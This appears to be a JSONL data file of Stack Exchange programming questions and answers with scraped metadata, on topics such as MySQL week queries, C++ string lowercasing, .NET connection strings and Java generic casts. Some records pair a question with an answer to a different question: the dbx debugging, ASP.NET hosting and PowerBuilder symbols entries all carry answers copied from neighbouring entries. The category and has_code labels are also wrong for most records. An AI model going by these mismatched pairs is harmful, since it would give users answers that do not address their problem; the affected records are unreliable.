{"id": "hf_8a31c5e2c2d1", "question": "<p>I'm currently using the following SQL for retrieving the last seven days worth of entries from a table:</p>\n\n<pre><code>purchased &gt;= date_sub(now() ,interval 7 day)\n</code></pre>\n\n<p>However, I need to change this so it retrieves the last full weeks worth of entries (midnight Saturday to midnight Saturday). So basically, throughout the week the results never change, but when someone visits on Sunday morning they will have refreshed.</p>\n\n<p>I just can't get my head around how to work out the days etc. Also, are there built in MySQL functions for doing this?</p>\n\n<p>I hope I've explained that clearly enough.\nThis is in a PHP application.</p>\n", "question_body": "", "answer": "MySQL has a\nWEEK()\nfunction, that allows you to get the numeric week of the year from a date.  You can get (the week of today) -1, and compare that to the week of your records you are filtering on.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:25.033979"}
{"id": "hf_43f76d7cfa7a", "question": "<p>I want to convert a <code>std::string</code> to lowercase. I am aware of the function <code>tolower()</code>. However, in the past I have had issues with this function and it is hardly ideal anyway as using it with a <code>std::string</code> would require iterating over each character.</p>\n<p>Is there an alternative which works 100% of the time?</p>\n", "question_body": "", "answer": "Boost provides a string algorithm for this\n:\n```\n```\n#include <boost/algorithm/string.hpp>\n\nstd::string str = \"HELLO, WORLD!\";\nboost::algorithm::to_lower(str); // modifies str\n```\n```\nOr, for non-in-place\n:\n```\n```\n#include <boost/algorithm/string.hpp>\n\nconst std::string str = \"HELLO, WORLD!\";\nconst std::string lower_str = boost::algorithm::to_lower_copy(str);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:25.081303"}
{"id": "hf_1e2ec8c050b7", "question": "<p>I have been given a .Hive file from a registry which i have to parse and use the contents as part of a html report(from this i assume i have to convert to text somehow). The whole thing must be done within the program so i cant just convert the hive file and then run it through my program. I currently have no idea how to even start this so any help on this would be great. </p>\n\n<p>Any ideas would be fantastic!</p>\n", "question_body": "", "answer": "Without seeing the input, it is hard to tell what the best approach is.  You are probably going to need to use the RegExp class to parse out your keys and values.  If you can get clean enough paths to the values, you might be able to get away with string.Split() to split the path into arrays of keys and walk the registry using those values.\nDoes the input set include the type of values, or can you assume that the values already exist in the registry?\nA little more information on the input set would be useful.  An example, possibly?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:25.104764"}
{"id": "hf_22de1281689e", "question": "<p>When I am single stepping through one thread of a multi threaded program, the debugger gets interrupted with:</p>\n\n<pre><code>0x(some hex ref) : tdb_event_death      : ret\ndbx: thread has exited -- next aborted\n</code></pre>\n\n<p>My guess is a thread somewhere in the program I am debugging has stopped, but it's not the one I'm debugging so I can't see why I have to restart the debugging process to continue. </p>\n\n<p>I have a work around,  I set a breakpoint on the next line then rerun, which works but is very annoying, it is really slowing down my debugging. Does anyone know a better way ?  (single step ALL threads for example)</p>\n", "question_body": "", "answer": "Without seeing the input, it is hard to tell what the best approach is.  You are probably going to need to use the RegExp class to parse out your keys and values.  If you can get clean enough paths to the values, you might be able to get away with string.Split() to split the path into arrays of keys and walk the registry using those values.\nDoes the input set include the type of values, or can you assume that the values already exist in the registry?\nA little more information on the input set would be useful.  An example, possibly?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:25.127878"}
{"id": "hf_57a66b6b4bcd", "question": "<p>This is a contrived example, but lets say I have declared objects:</p>\n\n<pre><code>CustomObj fooObj;\nCustomObj barObj;\nCustomObj bazObj;\n</code></pre>\n\n<p>And I have an string array:</p>\n\n<pre><code>string[] stringarray = new string[] {\"foo\",\"bar\",\"baz\"};\n</code></pre>\n\n<p>How can I programmatically access and instantiate those objects using the string array, iterating using something like a foreach:</p>\n\n<pre><code>foreach (string i in stringarray) {\n    `i`Obj = new CustomObj(i);\n}\n</code></pre>\n\n<p>Hope the idea I'm trying to get across is clear. Is this possible in C#?</p>\n", "question_body": "", "answer": "You need to be clear in your mind about the difference between an object and a variable. Objects themselves don't have names. Variable names are decided at compile-time. You can't access variables via an execution-time-determined name except via reflection.\nIt sounds like you\nreally\njust want a\n```\nDictionary<string, CustomObj>\n```\n:\n```\n```\nDictionary<string, CustomObj> map = new Dictionary<string, CustomObj>();\n\nforeach (string name in stringArray)\n{\n    map[name] = new CustomObj(name);\n}\n```\n```\nYou can then access the objects using the indexer to the dictionary.\nIf you're really trying to set the values of variables based on their name at execution time, you'll have to use reflection (see\nType.GetField\n). Note that this won't work for local variables.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:25.163625"}
{"id": "hf_3857b06f2cdc", "question": "<p>I have a function which searches an STL container then returns the iterator when it finds the position, however I am getting some funny error messages, can tell me what I am doing wrong?</p>\n\n<p>Function:</p>\n\n<pre><code>std::vector&lt; CClass &gt;::iterator CClass::SearchFunction( const std::string&amp; strField )\n{\n...\n\n   return it;\n\n...\n}\n</code></pre>\n\n<p>Error:</p>\n\n<pre><code>error C2664: 'std::_Vector_iterator&lt;_Ty,_Alloc&gt;::_Vector_iterator(const std::_Vector_iterator&lt;_Ty,_Alloc&gt; &amp;)' : cannot convert parameter 1 from 'std::_Vector_const_iterator&lt;_Ty,_Alloc&gt; *__w64 ' to 'const std::_Vector_iterator&lt;_Ty,_Alloc&gt; &amp;'\n</code></pre>\n", "question_body": "", "answer": "Your search function is returning a const_iterator. You should either return the same type, i.e.\n```\nstd::vector< CClass >::const_iterator\n```\n, or cast it to a\n```\nstd::vector< CClass >::iterator\n```\nif you intend the caller to be able to modify the found item through the iterator.\nEDIT: after seeing your update, it seems the problem is your iterator (it) has a different type than your function return. They should be the same.\n```\n```\nstd::vector< CClass >::iterator it;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:25.188131"}
{"id": "hf_f6cdefae659e", "question": "<p>My understanding is that you have to write unit tests that isolate functionality. So given a repository class that has this method:</p>\n\n<pre><code>Entity GetById(Guid id)\n</code></pre>\n\n<p>and a <em>fake</em> implementation (using a Dictionary for storage), how would you write a test without first <em>adding</em> an entity? Is it ok to use a known set of guids for testing? Then in the fake repository constructor I could fill the dictionary with a couple of entities where the guids follow a pattern, so that I can test the GetById() method with a guid that I know will return an entity. </p>\n\n<p>Thanks for reading!</p>\n\n<p>PS. This is my first time writing unit tests.</p>\n", "question_body": "", "answer": "Yes, you could use known test ids in your test - that is what I would do.  Although I have become a fan of\nRhino Mocks\nwhich lets you put more directly in the test about what you'd expect to the mock object to do.\nFor example just before your call to the repository, you would do this:\n```\n```\nExpect.Call(repository.GetById(\"someObject\")).Return(new RepositoryThing());\n```\n```\nIt appeals to me anyway :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:25.213025"}
{"id": "hf_5d70e69ef5f4", "question": "<p>Windows Programming: How to put a file that is frequently accessed in the OS cache?</p>\n", "question_body": "", "answer": "Disclaimer : I dont work all that much under Windows\nIn the general case, you shouldnt mess with your OS cache. It should be smart enough to cache data that are accessed often. If it isnt, you should use an application level cache. I dont know which language you are using, but most probably there is a good cache framework for your language.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:25.237955"}
{"id": "hf_e21e2d51cc70", "question": "<p>I know there is <a href=\"https://stackoverflow.com/questions/63546/vs2005-c-programmatically-change-connection-string-contained-in-appconfig\">some similar issue</a>.</p>\n\n<p>But, still the question is not answered! I need to <strong>modify</strong> the connection string not add a new one.</p>\n", "question_body": "", "answer": "This will help you out!\n```\n```\n/// <summary>\n        /// Add a connection string to the connection\n        /// strings section and store it in the\n        /// configuration file. \n        /// </summary>\n        /// <param name=\"csName\">The name of the property.</param>\n        /// <param name=\"connectionString\">The connectionstring as specified.</param>\n        public static void AddConnectionStrings(string csName, string connectionString)\n        {\n\n            // Get the configuration file.\n            System.Configuration.Configuration config =\n                ConfigurationManager.OpenExeConfiguration(\n                ConfigurationUserLevel.None);\n\n            // Add the connection string.\n            ConnectionStringsSection csSection = config.ConnectionStrings;\n            csSection.ConnectionStrings.Add(\n                new ConnectionStringSettings(csName,\n                    connectionString, \"System.Data.SqlClient\"));\n\n            // Save the configuration file.\n            config.Save(ConfigurationSaveMode.Full);       \n        }\n```\n```\nWell for updating it was hard to find any usefull \ncode to update a connectionstring. It wasn't possible \nto update a connectionstring, so I had the remove the \nconnectionstring, and add a new one. Well isn't that odd?? \nMicrosoft left something undone... Well maybe it isn't usefull \nto change your app.config, but well, I had to make it anyhow. \nSo dynamic app.config or web.config files is little bit strange, because you can't dynamically update it. No you have to remove it first by the configurationmanager.\n```\n```\n/// <summary>\n        /// First remove the old connectionstring and after that\n        /// add a connection string to the connectionstrings\n        /// section and store it in the configuration file. \n        /// </summary>\n        /// <param name=\"csName\">The name of the property.</param>\n        /// <param name=\"connectionString\">The connectionstring as specified.</param>\n        public static void UpdateConnectionStrings(string csName, string connectionString)\n        {\n            // Get the configuration file\n            System.Configuration.Configuration config =\n                ConfigurationManager.OpenExeConfiguration(\n                ConfigurationUserLevel.None);\n\n            // Remove the existing connectionstring.\n            config.ConnectionStrings.ConnectionStrings.Remove(csName);\n            // Add the connectionstring\n            ConnectionStringsSection csSection = config.ConnectionStrings;\n            csSection.ConnectionStrings.Add(\n                new ConnectionStringSettings(csName, \n                connectionString, \"System.Data.SqlClient\"));\n\n            // Save the configuration file\n            config.Save(ConfigurationSaveMode.Full);\n        }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:25.298627"}
{"id": "hf_41a32dbaa849", "question": "<p>Is there a way to get MVEL 2.0 ( <a href=\"http://mvel.codehaus.org/\" rel=\"nofollow noreferrer\">http://mvel.codehaus.org/</a> ) to work with functions with optional parameters?</p>\n\n<p>I would like to be able to eval this:</p>\n\n<p>trunc('blahblah',2)</p>\n\n<p>but also</p>\n\n<p>trunc('blahblah',2,'[...]');</p>\n\n<p>Now i have tried: </p>\n\n<p>def trunc(param1,param2,param3) { ... impl ... }</p>\n\n<p>That gives an exception if i try to call it with only 3 parameters.\nI also tried:</p>\n\n<p>def trunc(param1,param2,param3) { ... impl ... }\ndef trunc(param1,param2) { ... impl ... }</p>\n\n<p>But the second one seems to completely overwrite the first definition.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "In java you can declare multiple methods with the same name, but a different arguments.\nThat way you can support (in a limited way) optional parameters.\nEg.:\n```\n```\nprivate void method(Object obj1) {\n    Object obj2 = new Object(\"Default\");\n    method(obj1, obj2);\n}\n\nprivate void method(Object obj1, Object obj2) {\n    doStuff(...);\n}\n```\n```\nCalling method() is possible with one or two arguments :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:25.323067"}
{"id": "hf_b6fe7ae79730", "question": "<p>How can I make this java generic cast ?</p>\n\n<pre><code>public interface IField {\n\n}\n\n\nclass Field implements IField { // package private class\n\n}\n\npublic class Form {\n  private List&lt;Field&gt; fields;\n\n\n  public List&lt;IField&gt; getFields() {\n    return this.fields;\n\n  }\n\n}\n</code></pre>\n\n<p>The return statement throws a compiler error (I know the reason - I read the generics tutorial) but it would be very handy to write such code.</p>\n\n<p>If I declared \"fields\" as List I would need to use a lot of casts to Field in other methods of a Form class .</p>\n\n<p>Can I force that damn compiler to bend it's rules and compile that return statement ?</p>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "As it happens, you can, because Java generics are just grafted on, not part of the type system.\nYou can do\n```\n```\nreturn (List<IField>)(Object)this.fields;\n```\n```\nbecause all\n```\nList<T>\n```\nobjects are the same underlying type.\nBear in mind that this allows anyone to put any type implementing\n```\nIField\n```\nin your list, so if your collection is not read-only, you may run into difficulties.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:25.418256"}
{"id": "hf_caab3f9b0e78", "question": "<p>With PHP, I can make numerous PHP websites locally and then upload each of them to its own sub-directory of my PHP hosting service. </p>\n\n<p>However, with ASP.NET, it seems that I can only upload my ASP.NET to the root of my hosting service. If I upload to a sub-directory, I get an error in </p>\n\n<pre><code>section registered as allowDefinition='MachineToApplication' beyond application level\n&lt;authentication mode=\"Windows\"/&gt;\n</code></pre>\n\n<ul>\n<li>is there a way to get around this so I can have numerous ASP.NET websites each in its own directory?</li>\n<li>if not, would using ASP.NET MVC be able to get around this problem?</li>\n<li>or is it generally not possible to FTP multiple ASP.NET sites to a shared hosting provider?</li>\n</ul>\n", "question_body": "", "answer": "As it happens, you can, because Java generics are just grafted on, not part of the type system.\nYou can do\n```\n```\nreturn (List<IField>)(Object)this.fields;\n```\n```\nbecause all\n```\nList<T>\n```\nobjects are the same underlying type.\nBear in mind that this allows anyone to put any type implementing\n```\nIField\n```\nin your list, so if your collection is not read-only, you may run into difficulties.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:25.443404"}
{"id": "hf_cdcfd73a259d", "question": "<p>I am looking for a good Environment (GUI based Editor) for blackberry webapps.\ne.g., is there a Eclipse plugin out there ?</p>\n", "question_body": "", "answer": "The Blackberry Applications are developed in Java and RIM provides the needed tools and simulators here:\nhttp://na.blackberry.com/eng/developers/resources/devtools.jsp", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:25.531446"}
{"id": "hf_a74ac489d443", "question": "<p>I'm trying to create a pimped-out version of the slider that has a user control in the \"thumb\"-part (meaning: the moving thingy on the slider) that reacts to the slider's movements. Basically my current demo / development version is just a UserControl with 5 visual states that just make it change a smiley face to an angry face in 5 phases. I'd like to put that user control into the thumb.</p>\n\n<p>My only problem is as follows: I can get the UserControl into the thumb no problem, by editing the Slider-control's template in Expression Blend. However, once the UserControl is in the ControlTemplate, it's no longer visible to the new user control class and thus is not changeable with VisualStateManager.</p>\n\n<p>So basically, my question is two-fold:</p>\n\n<ol>\n<li><p>Is there any better way to replace the thumb of the Slider-control than editing it's template?</p></li>\n<li><p>If not, how can I access stuff I've added to the template?</p></li>\n</ol>\n\n<p>Thanks for any answers! </p>\n", "question_body": "", "answer": "I'm answering myself. After visiting every single page on the internet, I finally figured out a solution by myself!\nI added a Loaded-event handler to my control in the ControlTemplate and in that event handler I took the reference to that control for the actual class! After that I was able to refer to that control with that reference and for example visualstate changes worked like a charm!\nI've now got a hopped-up slider that has a smiley in the handle part and the face on the smiley changes in relation to the position of the slider! Pretty cool!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:25.600379"}
{"id": "hf_2e81302f739a", "question": "<p>Here's a simplified version of my scenario:</p>\n\n<ul>\n<li>I have a table named <strong>Project</strong> that I reference via an 'id' field.</li>\n<li>I have a table named <strong>Photo</strong> that has a field named 'project_id' which I use to relate multiple photos to a single project. The Photo table also has an auto-incrementing 'id' field that I use for ordering, amongst other things.</li>\n</ul>\n\n<p>Here's what I want to accomplish: <em>For a collection of Project id values, I wish to retrieve the last 5 photos added to each project</em> -- ideally in a single query, of course. :-)</p>\n\n<p>Put another way, instead of imposing a single query limit, I would ideally like to specify a per project limit on the number of photos returned.</p>\n\n<p>I am currently implementing this as one-query per project, so N projects = N queries (a good caching strategy will certainly reduce the hurt, but that'll come later).</p>\n\n<p>Anyone have a solution?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "For the \"last n items\" problem in MySQL, take look here:\nHow to select maximum 3 items per users in MySQL?\n(it's right in the top answer).\nWhen you take it from there, all you are missing is a JOIN with your\n```\nProjects\n```\ntable, which should be easy to do.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:25.648332"}
{"id": "hf_68046c410c77", "question": "<p>I'm looking for way to grab the content of my opengl (as UIImage) and then save it into a file. I'm now giving glReadPixels a try though I'm not sure I'm doing the right thing as of what kind of malloc I should be doing. I gather that on OSX it's GL_BGRA but on the iPhone that doesn't work...</p>\n", "question_body": "", "answer": "All OpenGL|ES complient GL-implementations have to support GL_RGBA as a parameter to glReadPixels.\nIf your OpenGL|Es supports the\n```\n```\nGL_IMPLEMENTATION_COLOR_READ_FORMAT_OES\n```\n```\nextension you can also query the native format. glReadPixels will understand this format as a parameter to glReadPixels and allows you to directly get the pixel-data in native format. This is usually a bit faster than GL_RGBA.\nTake a look at the header-file or query the extension-support via glGetString.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:25.769035"}
{"id": "hf_6347083f3ed9", "question": "<p>My Cocoa app needs some small dynamically generated windows. How can I programmatically create Cocoa windows at runtime?</p>\n\n<p>This is my non-working attempt so far. I see no result whatsoever.</p>\n\n<pre><code>NSRect frame = NSMakeRect(0, 0, 200, 200);\nNSUInteger styleMask =    NSBorderlessWindowMask;\nNSRect rect = [NSWindow contentRectForFrameRect:frame styleMask:styleMask];\n\nNSWindow * window =  [[NSWindow alloc] initWithContentRect:rect styleMask:styleMask backing: NSBackingStoreRetained    defer:false];\n[window setBackgroundColor:[NSColor blueColor]];\n[window display];\n</code></pre>\n", "question_body": "", "answer": "This is what I've come up with myself:\n```\n```\nNSRect frame = NSMakeRect(100, 100, 200, 200);\nNSUInteger styleMask =    NSBorderlessWindowMask;\nNSRect rect = [NSWindow contentRectForFrameRect:frame styleMask:styleMask];\nNSWindow * window =  [[NSWindow alloc] initWithContentRect:rect styleMask:styleMask backing: NSBackingStoreBuffered    defer:false];\n[window setBackgroundColor:[NSColor blueColor]];\n[window makeKeyAndOrderFront: window];\n```\n```\nThis displays a blue window. I hope this is the optimal approach.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:25.793744"}
{"id": "hf_b773ff6a9e76", "question": "<p>I have an application that needs to send a moderately high volume of messages between a number of AppDomains.  I know that I could implement this using remoting, but I have also noticed that there are cross-domain delegates.  Has anyone looked at this kind of problem?</p>\n", "question_body": "", "answer": "This is just a quick thought, but I heard that even for cross-domain communication\nWCF\nwould be the recommended approach, starting from .NET 3.0 of course. Actually this makes sense, as remoting is just another technology wrapped by WCF.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:25.850192"}
{"id": "hf_a463144242b8", "question": "<p>I am getting an vba error 3271; Invalid property value.  This happens when trying to append a memo field in a querydef.  Any ideas on how to get around this?</p>\n\n<p>Example:</p>\n\n<pre><code>public sub TestMemoField\n    Dim qdf As QueryDef\n    Set qdf = CurrentDb.QueryDefs(\"AppendRecord\")\n    qdf.Parameters(\"@SomeBigText\").value = string(1000,\"A\")\n    qdf.Execute\nend sub  \n</code></pre>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "Apparently you cannot have a parameter longer than 255 characters (\nhttp://support.microsoft.com/kb/275116\n).\nIt is possible to use a recordset, or to use:\n```\n```\nqdf.SQL=\"INSERT INTO Sometable (SomeField) Values('\" & String(1000, \"A\") & \"')\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:25.885563"}
{"id": "hf_f3186be3ad08", "question": "<p>I am using Oracle BPEL Process manager and have a task assigned to a group of users. \nI try to mark it approved using Java class oracle.bpel.services.workflow.task.ITaskService.updateTaskOutcome(). This works if the task is assigned to an individual user, but if the task is assigned to a group of users, I get an error message about the task not being acquired. </p>\n\n<p>If I acquire the task using oracle.bpel.services.workflow.task.ITaskService.acquireTask(), I get an error message when trying to mark it approved: \"The task has been acquired by some other user\".</p>\n\n<p>Can anybody point to sample code that changes status of an Oracle BPEL task <em>assigned to a group</em> programmatically?</p>\n", "question_body": "", "answer": "use\n```\nupdateTaskOutcomes()\n```\nmethod instead of\n```\nupdateTaskOutcome()\n```\nwhen it is assigned to multiple users", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:25.944091"}
{"id": "hf_f972701f2244", "question": "<p>I have two tables: a source table and a target table.  The target table will have a subset of the columns of the source table.  I need to update a single column in the target table by joining with the source table based on another column.  The update statement is as follows:</p>\n\n<pre><code>UPDATE target_table tt\nSET special_id = ( SELECT source_special_id\n                   FROM source_table st\n                   WHERE tt.another_id = st.another_id )\n</code></pre>\n\n<p>For some reason, this statement seems to run indefinitely.  The inner select happens almost immediately when executed by itself.  The table has roughly 50,000 records and its hosted on a powerful machine (resources are not an issue).  </p>\n\n<p>Am I doing this correctly?  Any reasons the above wouldn't work in a timely manner?  Any better way to do this?</p>\n", "question_body": "", "answer": "Update:\nOk, now that the query has been fixed -- I've done this exact thing many times, on unindexed tables well over 50K rows, and it worked fine in Oracle 10g and 9i.  So something else is going on here; yes, you are calling for nested loops, but no, it shouldn't run forever, even so.  What are the  primary keys on these tables? Do you by any chance have multiple rows from the second table matching the same row for the first table?  You could be trying to rewrite the whole table over and over, throwing the locking system into a fit.\nOriginal Response\nThat statement doesn't really make sense -- you are telling it to update all the rows where ids match, to the same id (meaning, no change happens!).\nI imagine the real statement looks a bit different?\nPlease also provide table schema information (primary keys for the 2 tables, any available indexes, etc).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:25.967007"}
{"id": "hf_b0e54dddeaf5", "question": "<p>I have a rather large (many gigabytes) table of data in SQL Server that I wish to move to a table in another database on the same server.</p>\n\n<p>The tables are the same layout.</p>\n\n<p>What would be the most effecient way of going about doing this?</p>\n\n<p>This is a one off operation so no automation is required.</p>\n\n<p>Many thanks.</p>\n", "question_body": "", "answer": "If it is a one-off operation, why care about\ntop\nefficiency so much?\n```\n```\nSELECT * INTO OtherDatabase..NewTable FROM ThisDatabase..OldTable\n```\n```\nor\n```\n```\nINSERT OtherDatabase..NewTable\nSELECT * FROM ThisDatabase..OldTable\n```\n```\n...and let it run over night. I would dare to say that using SELECT/INSERT INTO on the same server is not far from the best efficiency you can get anyway.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:26.001535"}
{"id": "hf_8490c0adfb22", "question": "<p>I've looked this up a thousand times, and I always forget it, so, here for eternity:</p>\n\n<p>Solaris has a bit of an awkward syntax for <code>tail</code>.</p>\n\n<p>How do I do the equivalent of BSD's <code>tail -n<i>N</i></code>?</p>\n\n<p>What I want are the last N lines from tail's input.</p>\n", "question_body": "", "answer": "Just remove the \"n\"\n```\n```\ntail -100\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:26.038364"}
{"id": "hf_16ec638c0f14", "question": "<p>Which is a better way to force GC on ThreadLocal instance?</p>\n", "question_body": "", "answer": "Simple answer: you can't force the GC in java. Some may posts tricks but all in all you simply can't.\nWell, in fact you can. With exit!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:26.080438"}
{"id": "hf_0b23a9696812", "question": "<p>Say I have a file with any number of lines, say, 125. I want to get all the lines except the first n, say, 20. So, I want lines 21–125.</p>\n\n<p>Is there a way to do this with with <code>tail</code>/<code>head</code>, or some other tool?</p>\n", "question_body": "", "answer": "Try\n```\n```\ntail -n +21 myfile.txt\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:26.104714"}
{"id": "hf_1895131fe0b0", "question": "<p>How to generate the Symbols file of a PowerBuilder program for dump analysis?</p>\n", "question_body": "", "answer": "Try\n```\n```\ntail -n +21 myfile.txt\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:26.128811"}
{"id": "hf_987c2bbf94f5", "question": "<p>I need to upgrade my current version of DNN this week. I am currently using 2.1.1. I don't want to do everything twice, so, I have several questions.</p>\n\n<ol>\n<li>Is there an upgrade tool or some scripts somewhere that will help me to do an upgrade.</li>\n<li>Am I better off installing 4.9 or 5.0. It is production.</li>\n<li>If I go with 4.9, will I be able to upgrade to 5.0 when it releases?</li>\n</ol>\n", "question_body": "", "answer": "To be honest, I don't know.  But I see that the DNN download page very strongly states that the 5.0 release-candidates are \"NOT RECOMMENDED FOR PRODUCTION USE\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:26.152918"}
{"id": "hf_4bedeb13a792", "question": "<p>I am using an Infragistics UltraGrid in a WinForms application.<br>\nWhich event is raised on \"check change\" of checkbox in Infragistics UltraGrid?</p>\n", "question_body": "", "answer": "The AfterUpdate event of the checkbox is what you'll want to use.\nIf you're not able to trigger it, though, try adding this as well:\n```\n```\nPrivate Sub YourGridcontrol_MouseDown(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles YourGridcontrol.MouseDown\n    YourGridcontrol.PerformAction(Infragistics.Win.UltraWinGrid.UltraGridAction.EnterEditMode)\nEnd Sub\n\nPrivate Sub YourGridcontrol_MouseUp(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles YourGridcontrol.MouseUp\n    YourGridcontrol.PerformAction(Infragistics.Win.UltraWinGrid.UltraGridAction.ExitEditMode)\nEnd Sub\n```\n```\nBy default, just toggling the checkbox doesn't seem to trigger an Update. By making it enter/exit edit mode, the AfterUpdate should work as you want.\nUPDATE: Or, like Vincent suggested, doing the PerformAction on the CellChange event should work, too.  The gist is the same.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:26.176707"}
